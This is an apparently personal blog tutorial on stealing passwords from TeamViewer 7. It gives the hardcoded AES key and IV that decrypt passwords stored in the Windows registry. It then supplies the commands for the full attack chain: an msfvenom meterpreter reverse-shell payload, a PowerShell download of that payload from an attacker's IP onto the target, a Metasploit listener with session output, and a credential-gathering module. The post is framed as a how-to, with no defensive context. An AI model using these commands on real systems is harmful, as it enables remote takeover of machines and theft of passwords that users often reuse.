TeamViewer 7 Privilege Escalation

Hello!

Today was a good day. I learned how to exploit a privesc vulnerability in TeamViewer (version 7) which had eluded me for quite some time due to a lack of user-friendly resources available online. But today I am changing all that ;)

So basically, TeamViewer 7 stores user passwords encrypted with AES-128-CBC with a key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. This means that someone can decrypt that password using that key and iv and use it elsewhere if the user in question made repeated use of their password (as users often do!)

Now, the process is doing this manually is complicated but luckily for us, a Metasploit module exists to automate this for us!

First. generate a payload with msfvenom like so:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip attacker> LPORT=4444 -f exe > revshell.exe

Then move the payload to the machine with PowerShell (remember to move to the file to the /var/www/html directory if you are using Linux, as you should be. A "sudo /etc/init.d/apache2 restart" may be required).

$ invoke-webrequest -Uri http://<ip attacker>/revshell.exe -OutFile revshell.exe

Fire up msfconsole and set up a listener: 

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >

Finally, run the TeamViewer password gathering module in Meterpreter and smile at the results!